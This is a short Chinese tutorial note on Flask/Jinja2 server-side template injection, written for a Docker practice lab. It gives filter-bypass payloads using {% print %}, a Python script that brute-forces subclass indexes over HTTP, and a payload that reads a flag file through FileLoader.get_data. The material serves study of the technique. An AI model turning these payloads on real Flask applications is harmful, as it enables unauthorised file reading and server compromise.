笔记主要学习内容来自 重庆橙子科技 SSTI模板注入 。
配合 docker 靶场 mcc0624/flask_ssti
食用效果更佳。
1. 控制语句 {%…%}
{{}}
在 flask 中用于表示变量占位符,{% %}
在 flask 中则表示控制语句。
控制语句用来定义变量,循环,判断等来完成更加复杂的业务。其必须以 {% end... %}
结尾。
示例:
- templates/index.html
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Flask Page</title>
</head>
<body>
<ul>
{% for girl in girls %}
<li>Beautiful {{girl}}</li>
{% endfor %}
</ul>
</body>
</html>
- app.py
from flask import Flask,render_template
app = Flask(__name__)
@app.route('/')
def show():
girls = ['貂蝉','西施','甄姬','大乔','小乔']
return render_template('index.html',girls = girls)
if __name__ == '__main__':
app.run()
2. 绕过利用
当 {{}}
被过滤时,{%%}
若没有被过滤,就可以使用 {%%}
。一般情况下,{%%}
中的语句会被执行,但它并不会直接回显。使用 print 输出执行后的内容,就有回显了。
- exp:
{%print("Hello SSTI!")%}
{% if 2>1 %}QING{% endif %}
{% if ''.__class__ %}ZQING{% endif %}
{% print(''.__class__.__mro__[-1]) %}
3. 过滤绕过
以 mcc0624/flask_ssti
过滤大括号
一关为例。
常规思路,先用脚本找关键文件读取类的索引值,在构造 payload 得到 flag 。
- 脚本
import requests
url = input("请输入 URL:")
for i in range(500):
# payload 中需要先初始化再列出所有全局变量
data = {"code": "{%print(().__class__.__base__.__subclasses__()[" + str(i) + "])%}"}
response = requests.post(url, data=data)
if response.status_code == 200:
if '_frozen_importlib_external.FileLoader' in response.text:
print(i)
返回索引值 79,测试一下,没得问题~
- payload
code={%print(().__class__.__base__.__subclasses__()[79]["get_data"](0,"flag"))%}
over~
By QING